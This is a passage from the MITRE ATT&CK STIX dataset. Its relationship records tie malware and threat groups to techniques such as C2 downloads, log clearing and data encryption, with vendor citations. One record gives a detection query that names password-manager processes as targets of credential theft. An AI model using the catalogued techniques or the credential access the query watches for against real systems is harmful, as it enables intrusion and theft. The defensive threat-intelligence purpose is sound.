TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33d1d2c7-fe6e-43c0-a78a-40ec218d0895","type":"relationship","created":"2020-03-13T20:12:41.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:12:41.082Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33d24077-13af-4e14-ba79-87ca145c5383","type":"relationship","created":"2019-02-12T18:20:09.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.845Z","description":"[Denis](https://attack.mitre.org/software/S0354) will decrypt important strings used for C&C communication.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33d66657-3e4c-430b-ae40-a9d310f39f13","type":"relationship","created":"2021-04-07T18:07:47.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.929Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has deleted scripts after execution.(Citation: Unit 42 Hildegard Malware) ","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33deb846-1334-4eb7-98fc-faff39b3ad16","type":"relationship","created":"2021-04-27T01:47:15.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-04-27T01:47:15.641Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to collect information from the local database.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.704Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information on available printers and disk drives.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33e3573b-0f18-417c-be17-727863fc21ec","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.301Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--33e9f279-3947-4551-97f3-b6e93de88e39","created":"2022-08-07T15:10:33.964Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can use HTTP to communicate with C2 servers.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:11:27.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33eb06fa-5983-47d8-9f7f-d594f311a008","type":"relationship","created":"2021-08-03T15:14:22.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.703Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) has the ability to download next stage malware components to a compromised system.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33eb3d03-426d-4410-b028-3528b3fefe5c","created":"2021-01-08T18:46:53.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.576Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom encryption algorithm to encrypt collected data.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33eb4a61-d966-4193-a8e5-237eb5a5129a","created":"2022-03-15T19:56:31.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.409Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has exploited various vulnerabilities for initial access, including Microsoft Exchange vulnerability CVE-2020-0688.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33ee917f-8624-4108-91fb-a87d576ac634","created":"2023-03-22T22:04:57.275Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:04:57.275Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered web bugs to profile their intended targets.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33f1d509-3bca-492a-a08b-9e0561433b5f","type":"relationship","created":"2019-02-05T13:14:45.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.325Z","description":"(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33fb5b08-700d-4c29-a971-c7493b904d1a","created":"2023-08-01T18:42:12.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.559Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can take screenshots and send them to an actor-controlled C2 server.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34072026-f8dd-4eb0-88d9-c76cddfa8ca2","created":"2020-07-15T20:23:36.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.253Z","description":"[Carberp](https://attack.mitre.org/software/S0484) can start a remote VNC session by downloading a new plugin.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3407bbe8-bceb-42f1-824b-d92d9972d917","type":"relationship","created":"2021-05-18T17:50:19.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.357Z","description":"The [Cobalt Strike](https://attack.mitre.org/software/S0154) System Profiler can discover applications through the browser and identify the version of Java the target has.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--340a62c8-9f22-4cb6-9310-bd4136e14258","type":"relationship","created":"2021-01-04T14:59:30.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-20T19:53:50.094Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has created KeyBase accounts to communicate with ransomware victims.(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--340d4ef7-816b-4758-994f-b913df78afd7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"},{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-04-17T22:12:24.779Z","description":"[Elise](https://attack.mitre.org/software/S0081) executes ipconfig /all after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--340d8351-0454-4224-9fbd-da1c9f7483a1","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ise Password Manager February 2019","description":"ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.","url":"https://www.ise.io/casestudies/password-manager-hacking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T13:45:00.917Z","description":"Monitor process being accessed that may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)\n\nAnalytic 1 - Unauthorized process access indicating credential searches in password managers.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") EventCode IN (1, 10, 11)\n(Image IN (\"*keepass*\", \"*lastpass*\", \"*1password*\", \"*bitwarden*\", \"*dashlane*\", \"*passwordsafe*\") OR TargetImage IN (\"*keepass*\", \"*lastpass*\", \"*1password*\", \"*bitwarden*\", \"*dashlane*\", \"*passwordsafe*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--340e3bf7-2762-4884-80e6-cbef533558e9","created":"2024-05-20T19:00:03.544Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T19:00:03.544Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of intrusion activity.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--341025e9-e0b8-4e9b-873c-40d7bc86e131","type":"relationship","created":"2019-04-16T12:57:12.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.048Z","description":"[SamSam](https://attack.mitre.org/software/S0370) uses custom batch scripts to execute some of its components.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3414a5c1-2376-4477-9bb6-c324e8dabaec","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for newly constructed processes and/or command-lines that execute /etc/rc.local if present.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--341e27de-798b-42e1-b636-4696d650bb8d","created":"2022-04-28T15:09:22.749Z","x_mitre_version":"0.1","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)","modified":"2022-04-28T15:09:22.749Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--341ef3b2-3f92-4ea1-b36f-93fdb1d15816","type":"relationship","created":"2021-02-09T14:35:39.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-05-04T19:28:12.937Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) drops a file named infpub.datinto the Windows directory and is executed through SCManager and rundll.exe.","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--342502b6-c8fc-4ed5-ba10-209a824b78ed","type":"relationship","created":"2019-04-23T18:41:37.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:34.918Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) initially downloads a hidden encoded file.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3427863f-d4c4-4272-ad60-1479e42ed4af","type":"relationship","created":"2017-05-31T21:33:27.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox Part 2"}],"modified":"2019-04-29T18:01:20.690Z","description":"(Citation: FireEye Clandestine Fox Part 2)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--342a3da9-79e7-4fdc-8a08-bd7f54caa2ac","type":"relationship","created":"2021-09-15T18:02:37.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-09-15T18:02:37.541Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used the win32_service WMI class to retrieve a list of services from the system.(Citation: Symantec WastedLocker June 2020) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--342b69ad-118b-467d-838e-33ffa931af29","type":"relationship","created":"2020-09-24T13:19:42.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.884Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can download files from C2.(Citation: ESET Dukes October 